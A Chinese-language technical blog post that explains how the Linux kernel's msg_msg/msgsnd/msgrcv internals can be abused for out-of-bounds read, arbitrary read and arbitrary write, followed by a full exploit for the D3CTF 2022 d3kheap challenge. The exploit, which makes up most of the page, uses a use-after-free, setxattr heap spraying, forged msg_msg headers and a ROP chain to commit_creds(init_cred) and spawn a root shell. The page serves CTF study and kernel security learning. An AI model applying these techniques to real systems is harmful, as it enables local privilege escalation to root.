利用msg_msg实现任意地址读写

msgsnd和msgrcv的源码分析

内核通过msgsnd和msgrcv来进行IPC通信。内核消息分为两个部分,一个是消息头msg_msg(0x30),以及后面跟着的消息数据。整个内核消息的长度是从kmalloc-64到kmalloc-4096`。

  1. /* one msg_msg structure for each message */
  2. struct msg_msg {
  3. struct list_head m_list;
  4. long m_type;
  5. size_t m_ts; /* message text size */
  6. struct msg_msgseg *next;
  7. void *security;
  8. /* the actual message follows immediately */
  9. };

msgsnd发送数据调用链及方法

调用链:通过msgsnd() -> ksys_msgsnd() -> do_msgsnd() -> load_msg() -> alloc_msg()来分配消息头和消息的数据,接着通过load_msg() -> copy_from_user()来将用户数据拷贝进内核。

使用方法:例如我们想要发送一个包含0x1000个'A'的消息,代码如下:

  1. struct msgbuf
  2. {
  3. long mtype;
  4. char mtext[0x1000];
  5. } msg;
  6. msg.mtype = 1;
  7. memset(msg.mtext, 'A', sizeof(msg.mtext));
  8. qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT));
  9. msgsnd(qid, &msg, sizeof(msg.mtext), 0);

此外如果消息长度超过0xfd0,那么就会采取分段储存的方式,采用单向链表进行连接。第一个称作消息头,用msg_msg结构进行储存,第二个和第三个称作segment,用msg_msgseg结构进行储存。消息的最大长度由/proc/sys/kernel/msgmax确定,默认大小为8192个字节,所以最多连接三个成员。

msgrcv接收数据的调用链及方法

调用链msgrcv() -> ksys_msgrcv() -> do_msgrcv() -> find_msg() & do_msg_fill() & free_msg()。通过find_msg来定位消息,并将消息从队列中unlink,再调用do_msg_fill() -> store_msg()来将消息从内核空间拷贝到用户空间,最后调用free_msg释放消息。

使用方法:例如我们想要接收一个包含0x1000个'A'的消息,代码如下:

  1. void *memdump = malloc(0x1000);
  2. msgrcv(qid, memdump, 0x1000, 1, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);

此外值得注意的是:如果用flag:MSG_COPY来调用msgrcv(),就会调用prepare_copy()分配临时消息,并调用copy_msg()将请求的数据拷贝到该临时消息。在将消息拷贝到用户空间之后,原始消息会被保留,不会从队列中unlink,而是直接goto out_unlock0,然后调用free_msg()删除该临时消息,有些题目中这一点对于利用很重要。为什么?因为有些题目漏洞在UAF的时候,没有泄露正确地址,所以会破坏msg_msg->m_list双链表指针,unlink会触发崩溃。如果某漏洞可以跳过前16字节,那就不需要注意这一点。

数据泄露

越界读取数据

在拷贝数据的时候,我们对数据长度的判断主要是依靠msg_msg->m_ts。所以我们可以想到如果我们可以控制某一个消息的msg_msg使得msg_msg->m_ts被改为一个较大的数,那么我们就能够实现越界读取数据。

任意地址读取

对于大于0xfd0的数据,内核会在msg_msg的基础上再加上msg_msgseg结构体,形成一个单向链表,如果我们能够同时控制msg_msg->m_tsmsg_msg->next,我们便可以实现任意地址读。但是这里需要注意的是,无论我们采用MSG_COPY还是常规消息接收,拷贝消息的主要依据还是msg_msg->next,所以为了避免遍历消息时出现访存崩溃,实现对特定地址以后数据的读取,我们需使得segment的前8字节为NULL

任意地址写

我们可以通过结合userfaultfd或者FUSE实现race condition。当我们在调用msgsnd 系统调用时,其会继续调用load_msg将用户数据拷贝到内核空间中。它会先调用alloc_msg分配msg_msg的单向链表,之后才会进行数据的拷贝过程。所以这里的空间分配和数据拷贝实际上是分开进行的。故我们不难想到,在拷贝时利用userfaultfd或者FUSE将拷贝停止下来,并在子进程中篡改msg_msg->next,恢复拷贝后即可向我们篡改后的地址上写入数据,从而实现任意地址写。

例题:2022d3CTF-d3heap

exp:(对着arttnba3师傅的exp改了改)

  1. #define _GNU_SOURCE
  2. #include <fcntl.h>
  3. #include <pthread.h>
  4. #include <sched.h>
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <string.h>
  8. #include <sys/ipc.h>
  9. #include <sys/msg.h>
  10. #include <sys/socket.h>
  11. #include <sys/syscall.h>
  12. #include <sys/types.h>
  13. #include <sys/xattr.h>
  14. #include <unistd.h>
  15. #include <sys/ioctl.h>
  16. #define PREPARE_KERNEL_CRED 0xffffffff810d2ac0
  17. #define INIT_CRED 0xffffffff82c6d580
  18. #define COMMIT_CREDS 0xffffffff810d25c0
  19. #define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00ff0
  20. #define POP_RDI_RET 0xffffffff810938f0
  21. #define SECONDARY_STARTUP_64 0xffffffff81000040
  22. size_t user_cs, user_ss, user_sp, user_rflags;
  23. size_t kernel_offset, kernel_base = 0xffffffff81000000;
  24. size_t prepare_kernel_cred, commit_creds, swapgs_restore_regs_and_return_to_usermode, init_cred;
  25. int fd;
  26. int pipe_fd, pipe_fd1[2], pipe_fd2[2];
  27. void ErrExit(char* err_msg)
  28. {
  29. puts(err_msg);
  30. exit(-1);
  31. }
  32. void add()
  33. {
  34. ioctl(fd, 0x1234);
  35. }
  36. void delete()
  37. {
  38. ioctl(fd, 0xdead);
  39. }
  40. void save_status()
  41. {
  42. __asm__(
  43. "mov user_cs, cs;"
  44. "mov user_ss, ss;"
  45. "mov user_sp, rsp;"
  46. "pushf;"
  47. "pop user_rflags;"
  48. );
  49. printf("\033[34m\033[1m[+] save the state success!\033[0m\n");
  50. }
  51. void get_shell()
  52. {
  53. if (getuid() == 0)
  54. {
  55. printf("\033[32m\033[1m[+] get root shell !\033[0m\n");
  56. system("/bin/sh");
  57. //char *shell = "/bin/sh";
  58. //char *args[] = {shell, NULL};
  59. //execve(shell, args, NULL);
  60. }
  61. else
  62. {
  63. printf("\033[31m\033[1m[-] get shell error !\033[0m\n");
  64. exit(0);
  65. }
  66. }
  67. size_t kernelLeakQuery(size_t kernel_text_leak)
  68. {
  69. size_t kernel_offset = 0xdeadbeef;
  70. switch (kernel_text_leak & 0xfff)
  71. {
  72. case 0x6e9:
  73. kernel_offset = kernel_text_leak - 0xffffffff812b76e9;
  74. break;
  75. case 0x980:
  76. kernel_offset = kernel_text_leak - 0xffffffff82101980;
  77. break;
  78. case 0x440:
  79. kernel_offset = kernel_text_leak - 0xffffffff82e77440;
  80. break;
  81. case 0xde7:
  82. kernel_offset = kernel_text_leak - 0xffffffff82411de7;
  83. break;
  84. case 0x4f0:
  85. kernel_offset = kernel_text_leak - 0xffffffff817894f0;
  86. break;
  87. case 0xc90:
  88. kernel_offset = kernel_text_leak - 0xffffffff833fac90;
  89. break;
  90. case 0x785:
  91. kernel_offset = kernel_text_leak - 0xffffffff823c3785;
  92. break;
  93. case 0x990:
  94. kernel_offset = kernel_text_leak - 0xffffffff810b2990;
  95. break;
  96. case 0x900:
  97. kernel_offset = kernel_text_leak - 0xffffffff82e49900;
  98. break;
  99. case 0x8b4:
  100. kernel_offset = kernel_text_leak - 0xffffffff8111b8b4;
  101. break;
  102. case 0xc40:
  103. kernel_offset = kernel_text_leak - 0xffffffff8204ac40;
  104. break;
  105. case 0x320:
  106. kernel_offset = kernel_text_leak - 0xffffffff8155c320;
  107. break;
  108. case 0xee0:
  109. kernel_offset = kernel_text_leak - 0xffffffff810d6ee0;
  110. break;
  111. case 0x5e0:
  112. kernel_offset = kernel_text_leak - 0xffffffff810e55e0;
  113. break;
  114. case 0xe80:
  115. kernel_offset = kernel_text_leak - 0xffffffff82f05e80;
  116. break;
  117. case 0x260:
  118. kernel_offset = kernel_text_leak - 0xffffffff82ec0260;
  119. break;
  120. default:
  121. puts("[-] fill up your dict!");
  122. break;
  123. }
  124. if ((kernel_offset % 0x100000) != 0)
  125. kernel_offset = 0xdeadbeef;
  126. return kernel_offset;
  127. }
  128. typedef struct
  129. {
  130. long mtype;
  131. char mtext[1];
  132. }msg;
  133. struct list_head
  134. {
  135. struct list_head *next, *prev;
  136. };
  137. /* one msg_msg structure for each message */
  138. struct msg_msg
  139. {
  140. struct list_head m_list;
  141. long m_type;
  142. size_t m_ts; /* message text size */
  143. void *next; /* struct msg_msgseg *next; */
  144. void *security; /* NULL without SELinux */
  145. /* the actual message follows immediately */
  146. };
  147. int main()
  148. {
  149. size_t *buf;
  150. size_t kernel_heap_leak;
  151. size_t kernel_heap_search;
  152. size_t kernel_text_leak;
  153. size_t page_offset_base_guess;
  154. size_t msg_offset, msg_offset_count;
  155. size_t fake_ops_addr, fake_ops_offset, kmsg_addr;
  156. int kmsg_idx;
  157. int ms_qid[0x100];
  158. int ret;
  159. cpu_set_t cpu_set;
  160. CPU_ZERO(&cpu_set);
  161. CPU_SET(0, &cpu_set);
  162. sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
  163. save_status();
  164. buf = (size_t*)malloc(0x4000);
  165. memset(buf, 0, 0x4000);
  166. fd = open("/dev/d3kheap", O_RDONLY);
  167. if(fd < 0)
  168. ErrExit("[-] open d3heap error");
  169. add();
  170. delete();
  171. for (int i = 0; i < 5; i++)
  172. {
  173. ms_qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
  174. if (ms_qid[i] < 0)
  175. {
  176. puts("[x] msgget!");
  177. return -1;
  178. }
  179. }
  180. for (int i = 0; i < 5; i++)
  181. {
  182. memset(buf, 'A'+i, 0X1000 - 8);
  183. ret = msgsnd(ms_qid[i], buf, 1024 - 0x30, 0);
  184. if (ret < 0)
  185. {
  186. puts("[x] msgsnd!");
  187. return -1;
  188. }
  189. }
  190. delete();
  191. memset(buf, 'B', 0x1000);
  192. ((struct msg_msg*) buf)->m_list.next = NULL;
  193. ((struct msg_msg*) buf)->m_list.prev = NULL;
  194. ((struct msg_msg*) buf)->m_type = 0;
  195. ((struct msg_msg*) buf)->m_ts = 0x1000 - 0x30;
  196. ((struct msg_msg*) buf)->next = NULL;
  197. ((struct msg_msg*) buf)->security = NULL;
  198. setxattr("/exp", "FXC", buf, 1024-0x30, 0);
  199. ret = msgrcv(ms_qid[0], buf, 0x1000 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
  200. if (ret < 0)
  201. ErrExit("[-] msgrcv error");
  202. for (int i = 0; i < ((0x1000 - 0x30) / 8); i++)
  203. {
  204. printf("[----data dump----][%3d] 0x%lx\n", i, buf[i]);
  205. if (((buf[i] & 0xffff000000000000) == 0xffff000000000000) && !kernel_heap_leak && (buf[i + 3] == (1024 - 0x30)))
  206. {
  207. printf("\033[32m\033[1m[+] We got heap leak! kheap: 0x%lx\033[0m\n", buf[i]);
  208. kernel_heap_leak = buf[i];
  209. kmsg_idx = (int)(((char*)(&buf[i + 2]))[0] - 'A');
  210. fake_ops_offset = i * 8 + 0x30 - 8;
  211. }
  212. if (((buf[i] & 0xffffffff00000000) == 0xffffffff00000000) && !kernel_text_leak)
  213. {
  214. printf("\033[32m\033[1m[+] We got text leak! ktext: 0x%lx\033[0m\n", buf[i]);
  215. kernel_offset = kernelLeakQuery(buf[i]);
  216. printf("\033[32m\033[1m[+] kernel offset: 0x%lx\033[0m\n", kernel_offset);
  217. if (kernel_offset != 0xdeadbeef)
  218. {
  219. kernel_text_leak = buf[i];
  220. kernel_base += kernel_offset;
  221. }
  222. }
  223. if (kernel_text_leak && kernel_heap_leak)
  224. break;
  225. }
  226. if (!kernel_heap_leak)
  227. ErrExit("\033[31m\033[1m[-] Failed to leak kernel heap!\033[0m\n");
  228. //if (!kernel_text_leak)
  229. // ErrExit("\033[31m\033[1m[-] Failed to leak kernel text!\033[0m\n");
  230. ((struct msg_msg*) buf)->m_list.next = NULL;
  231. ((struct msg_msg*) buf)->m_list.prev = NULL;
  232. ((struct msg_msg*) buf)->m_type = 0;
  233. ((struct msg_msg*) buf)->m_ts = 0x2000 - 0x30 -8;
  234. ((struct msg_msg*) buf)->next = (void*)(kernel_heap_leak - 8); // q_messages - 8
  235. ((struct msg_msg*) buf)->security = NULL;
  236. setxattr("/exp", "FXC", buf, 1024-0x30, 0);
  237. ret = msgrcv(ms_qid[0], buf, 0x2000 - 0x30 -8, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
  238. if (ret < 0)
  239. ErrExit("[-] msgrcv error");
  240. kmsg_addr = buf[(0x1000 - 0x30) / 8 + 1];
  241. fake_ops_addr = kmsg_addr - fake_ops_offset;
  242. printf("\033[32m\033[1m[+] UAF as fake ops addr at: 0x%lx, cal by msg idx: %d at addr: 0x%lx\033[0m\n", fake_ops_addr, kmsg_idx, kmsg_addr);
  243. kernel_heap_search = kmsg_addr - 8;
  244. for (int leaking_times = 0; !kernel_text_leak; leaking_times++)
  245. {
  246. printf("[*] per leaking, no.%d time(s)\n", leaking_times);
  247. ((struct msg_msg*) buf)->m_list.next = NULL;
  248. ((struct msg_msg*) buf)->m_list.prev = NULL;
  249. ((struct msg_msg*) buf)->m_type = 0;
  250. ((struct msg_msg*) buf)->m_ts = 0x2000 - 0x30;
  251. ((struct msg_msg*) buf)->next = (void*)kernel_heap_search;
  252. ((struct msg_msg*) buf)->security = NULL;
  253. setxattr("/exp", "FXC", buf, 1024-0x30, 0);
  254. printf("[*] Now searching: 0x%lx\n", kernel_heap_search);
  255. ret = msgrcv(ms_qid[0], buf, 0x2000 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
  256. if (ret < 0)
  257. ErrExit("[-] msgrcv error");
  258. msg_offset_count = 0;
  259. msg_offset = 0xdeadbeefbad4f00d;
  260. for (int i = (0x1000 - 0x30) / 8; i < (0x2000 - 0x30) / 8; i++)
  261. {
  262. printf("[----data dump----][%3d] 0x%lx\n", i, buf[i]);
  263. if ((buf[i] > 0xffffffff81000000) && (buf[i] < 0xffffffffbfffffff) && !kernel_text_leak)
  264. {
  265. printf("\033[32m\033[1m[+] We got text leak! ktext: 0x%lx\033[0m\n", buf[i]);
  266. kernel_offset = kernelLeakQuery(buf[i]);
  267. if (kernel_offset != 0xdeadbeef)
  268. {
  269. kernel_text_leak = buf[i];
  270. kernel_base += kernel_offset;
  271. break;
  272. }
  273. }
  274. if (!buf[i])
  275. msg_offset = msg_offset_count * 8;
  276. msg_offset_count++;
  277. }
  278. if (kernel_text_leak)
  279. break;
  280. if (msg_offset == 0xdeadbeefbad4f00d)
  281. ErrExit("[-] Failed to find next valid foothold!");
  282. kernel_heap_search += msg_offset;// to make the msg_msg->next == NULL, search from the last NULL
  283. }
  284. printf("\033[32m\033[1m[+] kernel offset: 0x%lx\033[0m\n", kernel_offset);
  285. printf("\033[32m\033[1m[+] kernel base: 0x%lx\033[0m\n", kernel_base);
  286. ((struct msg_msg*) buf)->m_list.next = (struct list_head *)kernel_heap_search; // a pointer to the heap is available, list_del (aka unlink) is easy to pass
  287. ((struct msg_msg*) buf)->m_list.prev = (struct list_head *)kernel_heap_search;
  288. ((struct msg_msg*) buf)->m_type = 0;
  289. ((struct msg_msg*) buf)->m_ts = 1024 - 0x30;
  290. ((struct msg_msg*) buf)->next = NULL;
  291. ((struct msg_msg*) buf)->security = NULL;
  292. // while the kmem_cache->offset is not 0, we can easily repair the header of msg_msg
  293. setxattr("/exp", "FXC", buf, 1024-0x30, 0);
  294. ret = msgrcv(ms_qid[kmsg_idx], buf, 1024 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR); // add a obj to pass detection in set_freepointer() in free_msg
  295. if (ret < 0)
  296. ErrExit("[-] msgrcv error");
  297. ret = msgrcv(ms_qid[0], buf, 1024 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR); // constructing A->B->A
  298. if (ret < 0)
  299. ErrExit("[-] msgrcv error");
  300. pipe(pipe_fd1);
  301. pipe_fd = pipe_fd1[1];
  302. pipe(pipe_fd2);
  303. memset(buf, 'B', 0x1000);
  304. buf[2] = fake_ops_addr;
  305. buf[1] = 0xffffffff812dbede + kernel_offset; // push rsi ; pop rsp ; pop 4 val ; ret
  306. // construct ROP
  307. int rop_idx = 4;
  308. buf[rop_idx++] = POP_RDI_RET + kernel_offset;
  309. buf[rop_idx++] = INIT_CRED + kernel_offset;
  310. buf[rop_idx++] = COMMIT_CREDS + kernel_offset;
  311. buf[rop_idx++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 0x16 + kernel_offset;
  312. buf[rop_idx++] = 0;
  313. buf[rop_idx++] = 0;
  314. buf[rop_idx++] = (size_t)get_shell;
  315. buf[rop_idx++] = user_cs;
  316. buf[rop_idx++] = user_rflags;
  317. buf[rop_idx++] = user_sp;
  318. buf[rop_idx++] = user_ss;
  319. setxattr("/exp", "FXC", buf, 1024-0x30, 0);
  320. close(pipe_fd1[0]);
  321. close(pipe_fd1[1]);
  322. return 0;
  323. }

利用msg_msg实现任意地址读写的更多相关文章

  1. 利用ldt_struct 与 modify_ldt 系统调用实现任意地址读写

    利用ldt_struct 与 modify_ldt 系统调用实现任意地址读写 ldt_struct与modify_ldt系统调用的介绍 ldt_struct ldt是局部段描述符表,里面存放的是进程的 ...

  2. Linux下fastbin利用小结——fd覆盖与任意地址free(House of Spirit)

    linux下的fastbin是ctf中pwn题的重点出题点.去年(2015)中,XCTF就有两站是使用fastbin的利用作为pwn400的压轴题来出现,这也是我刚开始接触fastbin的利用,参考了 ...

  3. 利用arguments求任意数量数字的和/最大值/最小值

    文章地址 https://www.cnblogs.com/sandraryan/ arguments是函数内的临时数据,用完销毁,有类似于数组的操作,但不是数组. 举个栗子1:利用arguments求 ...

  4. c# 利用动态库DllImport("kernel32")读写ini文件(提供Dmo下载)

    c# 利用动态库DllImport("kernel32")读写ini文件 自从读了设计模式,真的会改变一个程序员的习惯.我觉得嘛,经验也可以从一个人的习惯看得出来,看他的代码编写习 ...

  5. spring+mybatis利用interceptor(plugin)兑现数据库读写分离

    使用spring的动态路由实现数据库负载均衡 系统中存在的多台服务器是"地位相当"的,不过,同一时间他们都处于活动(Active)状态,处于负载均衡等因素考虑,数据访问请求需要在这 ...

  6. 利用js将图片地址进行转义

    利用js将图片地址进行转义 在业务中经常需要将图片从后台获取,然后在前台显示.其中后台存取图片主要分为两种,一种是数据库中获取图片的地址,第二种是存取图片内容的信息.这次主要是前台代码处理第一种情况. ...

  7. 利用最小二乘法拟合任意次函数曲线(C#)

    原文:利用最小二乘法拟合任意次函数曲线(C#) ///<summary>     ///用最小二乘法拟合二元多次曲线     ///</summary>     ///< ...

  8. 1byte、1KB、4KB,1MB、1GB用16进制表示的范围。任意地址范围求字节数

    1byte.1KB.4KB,1MB.1GB用16进制表示的范围.任意地址范围求字节数 2018-02-12 18:27:48 望那伊人 阅读数 5032更多 分类专栏: 计算机相关   版权声明:本文 ...

  9. python中利用正则表达式匹配ip地址

    现在有一道题目,要求利用python中re模块来匹配ip地址,我们应如何着手? 首先能想到的是ip地址是数字,正则表达式是如何匹配数字的呢? \d或[0-9] 对于这个问题,不要一下子上来就写匹配模式 ...

随机推荐

  1. kubernetes之HPA

    1.什么是HPA? 在 Kubernetes 中,HorizontalPodAutoscaler 自动更新工作负载资源 (例如 Deployment 或者 StatefulSet), 目的是自动扩缩工 ...

  2. VGA显示原理

    VGA显示是图像处理的基础,是一开始广泛使用的显示器,大部分机器采用VGA接口驱动,所以后来的显示器需要用VGA-xxx转接口来匹配. 用FPGA来驱动VGA,并不适用于显示动态(如手机显示,GUI) ...

  3. DateFormat类的format方法和parse方法

    /** * 使用DateFormat类中的方法format,把日期格式化为文本 * String format(Date date) 按照指定的模式把Date日期格式化为符合模式的字符串 * 使用步骤 ...

  4. 选择语句-IF和标准if-else语句以及if-else语句的扩展

    第二章 判断语句 2.1 判断语句1--if if语句的第一种格式:if if(关系表达式){ 语句体; } 执行流程 首先判断关系表达式看起结果是true还是false 如果是true就执行与具体 ...

  5. SkiaSharp 之 WPF 自绘 弹动小球(案例版)

    没想到粉丝对界面效果这么喜欢,接下来就尽量多来点特效,当然,特效也算是动画的一部分了.WPF里面已经包含了很多动画特效的功能支持了,但是,还是得自己实现,我这边就来个自绘实现的. 弹动小球 弹动小球是 ...

  6. Java学习(一)MarkDown语法

    Java学习(一)MarkDown语法 一.标题语法 一级标题 一级标题前添加一个#号 二级标题 二级标题前添加两个#号 三级标题 三级标题前添加三个#号 ... 二.字体 1.粗体 hello wo ...

  7. Javaweb06-JDBC

    1.jdbc.properties配置文件 jdbc.properties driverClass=com.mysql.jdbc.Driver jdbcUrl=jdbc:mysql://localho ...

  8. Luogu1993 小K的农场 (差分约束)

    \(if \ a - b <= c, AddEdge(b, a, c)\) Be careful, MLE is not good. #include <cstdio> #inclu ...

  9. java学习第一天.day03

    运行程序数据存储 ASCII Unicode(万国码) A在码表的顺序是65,a在码表的顺序是97,1代表49 变量 定义一个变量声明数据类型是开辟一个空间存储数据,java对数据的定义比较严格,比如 ...

  10. 【ARK UI】HarmonyOS ETS如何创建PixeMap并显示Image组件上

    ​参考资料 图片处理 Context模块 api讲解 image.createPixelMap createPixelMap(number: fd, options: InitializationOp ...